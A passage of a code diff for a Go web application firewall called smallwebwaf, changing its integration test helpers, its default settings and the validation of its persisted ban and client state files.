// The key is in neither run's output, nor in a state file.
files := []string{"bans.json", "reputation.json", "clients.json"}
shown := make([]string, 0, len(files)+2)
shown = append(shown, first.text(), second.text())
for _, name := range files {
data, err := os.ReadFile(filepath.Join(dir, name)) //nolint:gosec // the test's
if err != nil {
t.Fatalf("read %s: %v", name, err)
}
shown = append(shown, string(data))
}
if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) {
t.Errorf("the key is shown in the output or the state files:\n%s", all)
}
}
// wantDeniedByList checks that the request log line is of a request the
// blocklist at listURL refused.
func wantDeniedByList(t *testing.T, line map[string]any, listURL string) {
@@ -839,13 +769,14 @@ func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
env := map[string]string{
listenAddr: localhost + ":0",
upstreamURL: startApp(t),
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
"SWWAF_LOG_REMOTE_URL": "syslog+tcp://" + endpoint.Addr().String(),
}
out := runUntilStopped(t, env, func(url string) {
wantAllowed(t, url)
wantGreeting(t, url)
})
out.line(t, "type", "request")
@@ -894,6 +825,7 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
env := map[string]string{
listenAddr: localhost + ":0",
upstreamURL: startApp(t),
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
"SWWAF_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr().String(),
@@ -903,7 +835,7 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
}
out := runUntilStopped(t, env, func(url string) {
wantAllowed(t, url)
wantGreeting(t, url)
// More than one line has been written, and the buffer holds the
// last.
@@ -953,6 +885,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
dir := t.TempDir()
env := map[string]string{
listenAddr: localhost + ":0",
upstreamURL: startApp(t),
stateDir: dir,
rulesDir: rules,
"SWWAF_ALERT_WEBHOOK_URL": webhook.url,
@@ -1037,8 +970,10 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
slack, ntfy := startDestination(t), startDestination(t)
env := map[string]string{
listenAddr: localhost + ":0",
upstreamURL: startApp(t),
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
trustedProxies: localhost + "/32",
rateLimitPerDay: "1",
// The metrics are read from 127.0.0.1, which no limit counts.
"SWWAF_ALLOW_NETS": localhost + "/32",
@@ -1178,8 +1113,8 @@ func startApp(t *testing.T) string {
return app.URL
}
// runUntilStopped runs `smallwebwaf servewaf` with the settings in env, has use
// send it requests at url, then stops it as SIGTERM does, checks that it
// runUntilStopped runs smallwebwaf with the settings in env, has use send
// it requests at url, then stops it as SIGTERM does, checks that it
// stopped in order, and returns its output.
func runUntilStopped(
t *testing.T, env map[string]string, use func(url string),
@@ -1212,33 +1147,43 @@ func runUntilStopped(
// wantStartingLine checks that the line at start gives the version and
// every setting's value.
func wantStartingLine(t *testing.T, line map[string]any, dir string) {
func wantStartingLine(t *testing.T, line map[string]any, appURL, dir string) {
t.Helper()
settings, _ := line["settings"].(map[string]any)
want := map[string]any{
listenAddr: localhost + ":0",
stateDir: dir,
"SWWAF_MODE": "enforce",
stateWriteDelay: "10s",
stateCounterInterval: "15m",
"SWWAF_ALLOW_NETS": "",
rateLimitExemptNets: "",
"SWWAF_DENY_NETS": "",
"SWWAF_RATE_LIMIT_PER_MINUTE": "500",
"SWWAF_RATE_LIMIT_PER_HOUR": "20000",
rateLimitPerDay: "300000",
"SWWAF_RATE_LIMIT_EXEMPT_PATHS": "",
"SWWAF_DENIED_COUNTRIES": "",
"SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES": "",
"SWWAF_BAN_RESPONSE": "403",
"SWWAF_LIMIT_BAN_DURATION": "1h",
"SWWAF_LIMIT_BAN_REPEAT_WINDOW": "24h",
"SWWAF_MAX_BAN_DURATION": "7d",
"SWWAF_ATTACK_BAN_DURATION": "7d",
"SWWAF_MAX_BANS": "5000",
"SWWAF_BAN_SCOPE_V4_PREFIX": "32",
"SWWAF_RULES_ENABLED": "true",
listenAddr: localhost + ":0",
upstreamURL: appURL,
stateDir: dir,
"SWWAF_MODE": "enforce",
stateWriteDelay: "10s",
stateCounterInterval: "15m",
trustedProxies: "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16",
"SWWAF_CLIENT_REQUEST_TIMEOUT": "60s",
"SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES": "32K",
"SWWAF_CLIENT_IDLE_TIMEOUT": "120s",
"SWWAF_CLIENT_RESPONSE_TIMEOUT": "30m",
"SWWAF_UPSTREAM_REQUEST_TIMEOUT": "60s",
"SWWAF_UPSTREAM_RESPONSE_TIMEOUT": "30m",
"SWWAF_REQUEST_MAX_BYTES": "100M",
"SWWAF_RESPONSE_MAX_BYTES": "5G",
"SWWAF_ALLOW_NETS": "",
rateLimitExemptNets: "",
"SWWAF_DENY_NETS": "",
"SWWAF_RATE_LIMIT_PER_MINUTE": "1000",
"SWWAF_RATE_LIMIT_PER_HOUR": "10000",
rateLimitPerDay: "50000",
"SWWAF_RATE_LIMIT_EXEMPT_PATHS": "",
"SWWAF_DENIED_COUNTRIES": "",
"SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES": "",
"SWWAF_BAN_RESPONSE": "403",
"SWWAF_LIMIT_BAN_DURATION": "1h",
"SWWAF_LIMIT_BAN_REPEAT_WINDOW": "24h",
"SWWAF_MAX_BAN_DURATION": "7d",
"SWWAF_ATTACK_BAN_DURATION": "7d",
"SWWAF_MAX_BANS": "5000",
"SWWAF_BAN_SCOPE_V4_PREFIX": "32",
"SWWAF_RULES_ENABLED": "true",
}
for name, value := range want {
@@ -1252,11 +1197,30 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
}
}
// wantAllowed checks that servewaf at url allows a request from localhost.
func wantAllowed(t *testing.T, url string) {
// wantGreeting checks that a request to url gets the app's answer.
func wantGreeting(t *testing.T, url string) {
t.Helper()
wantStatus(t, url, localhost, http.StatusOK)
req, err := http.NewRequestWithContext(t.Context(), http.MethodGet, url,
http.NoBody)
if err != nil {
t.Fatalf("new request: %v", err)
}
transport := &http.Transport{}
defer transport.CloseIdleConnections()
res, err := (&http.Client{Transport: transport}).Do(req)
if err != nil {
t.Fatalf("request: %v", err)
}
body, err := io.ReadAll(res.Body)
_ = res.Body.Close()
if err != nil || string(body) != greeting {
t.Errorf("got %q (%v), want the app's answer", body, err)
}
}
// messages returns the message of each record in received, octet-counted
@@ -1437,16 +1401,34 @@ func onlyBan(t *testing.T, dir string) map[string]any {
return file.Bans[0]
}
// wantRefused checks that servewaf at url refuses a request from localhost with
// 403, the default SWWAF_BAN_RESPONSE.
// wantRefused checks that a request to url is refused with 403, the
// default SWWAF_BAN_RESPONSE.
func wantRefused(t *testing.T, url string) {
t.Helper()
wantStatus(t, url, localhost, http.StatusForbidden)
req, err := http.NewRequestWithContext(t.Context(), http.MethodGet, url,
http.NoBody)
if err != nil {
t.Fatalf("new request: %v", err)
}
transport := &http.Transport{}
defer transport.CloseIdleConnections()
res, err := (&http.Client{Transport: transport}).Do(req)
if err != nil {
t.Fatalf("request: %v", err)
}
_ = res.Body.Close()
if res.StatusCode != http.StatusForbidden {
t.Errorf("status %d, want %d", res.StatusCode, http.StatusForbidden)
}
}
// wantStatus checks that a request to url from the client at from, as statusFrom
// sends it, is answered with status.
// wantStatus checks that a request to url from the client at from, as
// X-Forwarded-For names it, is answered with status.
func wantStatus(t *testing.T, url, from string, status int) {
t.Helper()
@@ -1613,10 +1595,8 @@ func (w *webhook) waitFor(t *testing.T, event string, answered bool) webhookPost
}
}
// statusFrom returns the status a request to url from the client at from is
// answered with. The request serves rproxy and servewaf alike. rproxy reads the
// client from X-Forwarded-For, and replaces the other two headers. To servewaf,
// they make it a question about that client.
// statusFrom returns the status a request to url from the client at
// from, as X-Forwarded-For names it, is answered with.
func statusFrom(t *testing.T, url, from string) int {
t.Helper()
@@ -1627,8 +1607,6 @@ func statusFrom(t *testing.T, url, from string) int {
}
req.Header.Set("X-Forwarded-For", from)
req.Header.Set(proxy.ClientHeader, from)
req.Header.Set("X-Request-ID", rand.Text())
transport := &http.Transport{}
defer transport.CloseIdleConnections()
internal/state/state.go
+9 -18
View File
@@ -1,6 +1,5 @@
// Package state keeps smallwebwaf's state in JSON files in
// SWWAF_STATE_DIR, as the "Persistent state" section of SPEC.md requires
// and docs/state-files.md lists them:
// SWWAF_STATE_DIR, as the "Persistent state" section of SPEC.md describes:
// bans.json holds the bans, clients.json each client's counters and
// history, lookups.json GeoJS's answers, reputation.json the last try and
// last good copy of each list fetched from a URL, the DNSBL zones'
@@ -61,8 +60,7 @@ var (
errVersion = errors.New("unknown version")
// errMissing is for an entry without a field it needs.
errMissing = errors.New("has no")
errCause = errors.New("is not limit, attack, admin or crowdsec")
errExpires = errors.New("is not after its start")
errCause = errors.New("is not limit, attack or admin")
errDestination = errors.New("is not webhook, slack or ntfy")
errScope = errors.New("is not client, net, asn, total or watch")
errWaitingList = errors.New(`waiting is a list, but now lists the alerts by ` +
@@ -648,10 +646,8 @@ func (e BanEntry) ban() bans.Ban {
// client, a start, from which the length of the netblock's next ban is
// worked out, or an expires, which would make it permanent. A permanent
// ban's expires is null, which Bans cannot tell from a missing one, so
// each expires is read again as written. An expires not after the start
// is refused too, since the netblock's next ban for a broken limit, three
// times as long as this one, would then refuse nothing; and so is a cause
// other than limit, attack, admin or crowdsec, most likely misspelt.
// each expires is read again as written. A cause other than limit,
// attack or admin, most likely misspelt, is refused too.
func (f *bansFile) check(data []byte) error {
var written struct {
Bans []struct {
@@ -672,11 +668,8 @@ func (f *bansFile) check(data []byte) error {
return missing(i, "start")
case written.Bans[i].Expires == nil:
return missing(i, "expires")
case entry.Expires != nil && !entry.Expires.After(entry.Start):
return fmt.Errorf("entry %d's expires %w", i+1, errExpires)
case entry.Cause != "" && entry.Cause != bans.CauseLimit &&
entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin &&
entry.Cause != bans.CauseCrowdSec:
entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin:
return fmt.Errorf("entry %d's cause %q %w", i+1, entry.Cause, errCause)
}
}
@@ -685,8 +678,8 @@ func (f *bansFile) check(data []byte) error {
}
// check refuses a client without its address, which would count nobody's
// requests, or with requests, bytes or refusals in a window but no start,
// which would drop them and give the client a fresh allowance.
// requests, or with requests or bytes in a window but no start, which
// would drop them and give the client a fresh allowance.
func (f *clientsFile) check([]byte) error {
for i, client := range f.Clients {
switch {
@@ -704,8 +697,6 @@ func (f *clientsFile) check([]byte) error {
return missing(i, "hour_bytes.start")
case countsWithoutStart(client.DayBytes):
return missing(i, "day_bytes.start")
case countsWithoutStart(client.MinuteRefusals):
return missing(i, "minute_refusals.start")
}
}
@@ -906,8 +897,8 @@ func missingFromCounter(counter anomaly.Counter) string {
}
}
// countsWithoutStart reports whether b holds requests, bytes or refusals
// but no start, which places them in time.
// countsWithoutStart reports whether b holds requests, or bytes, but no
// start, which places them in time.
func countsWithoutStart(b ratelimit.Buckets) bool {
return b.Start.IsZero() && (b.Current != 0 || b.Previous != 0)
}

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